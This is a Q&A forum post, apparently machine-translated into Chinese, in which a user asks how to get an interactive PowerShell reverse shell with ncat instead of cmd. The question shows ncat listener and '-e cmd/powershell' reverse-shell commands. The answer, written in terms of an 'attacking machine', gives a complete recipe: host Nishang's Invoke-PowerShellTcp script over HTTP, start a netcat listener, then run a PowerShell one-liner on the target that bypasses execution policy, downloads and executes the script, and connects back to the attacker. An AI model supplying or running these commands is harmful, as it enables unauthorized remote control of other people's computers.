我正在使用 ncat 从一台机器到另一台机器执行反向“cmd”shell,并且使用以下命令没有任何问题:
In my machine: ncat -l 443
In the remote machine: ncat <my ip> 443 -e cmd
并且所有工作都完美无缺,但是,我非常希望执行“powershell”而不是“cmd”,为此我这样做了:
In my machine: ncat -l 443
In the remote machine: ncat <my ip> 443 -e powershell
但是现在发生了一件奇怪的事情,powershell 提示符被提供给远程机器而不是我的......这是输出:
In my machine: Windows Powershell
Copyright 2009 Microsoft Corporation. All rights reserverd. (and it hangs there)
In the remote machine: PS C:\Users\User> (the shell is actually given to the remote machine)
有没有办法将该提示重新重定向到我的计算机,并在我的计算机上拥有“powershell”shell,就像我对“cmd”shell 所做的那样?我搜索了 stdout 重定向,但无法使其工作 :(
任何帮助都将非常感激。
答案1
Powershell 挂在攻击机器的反向 shell 上的原因可能是它不是完全交互式的。尝试使用基于 PowerShell 的 shell,例如Nishang 的 Invoke-PowerShellTcp。在攻击机器上下载.ps1 脚本,运行一个 HTTP 服务器,让远程主机从中下载脚本,然后在远程机器上下载它。
使用 Python 2 或 Python 3 在攻击机上设置 HTTP 服务器
python -m SimpleHTTPServer [port]
python3 -m http.server [port]
同样在攻击机器上,运行 netcat 监听器:
nc -lnvp [port2]
然后在远程计算机的命令提示符 (cmd) 上运行此命令
powershell.exe -nop -ep bypass -c "iex ((New-Object Net.WebClient).DownloadString('http://[your attacking machine's IP address]:[port1]/Invoke-PowerShellTcp.ps1'));Invoke-PowerShellTcp -Reverse -IPAddress [your attacking machine's IP address] -Port [port2]"
你的 netcat 上捕获的反向 shell 现在应该是完全交互的。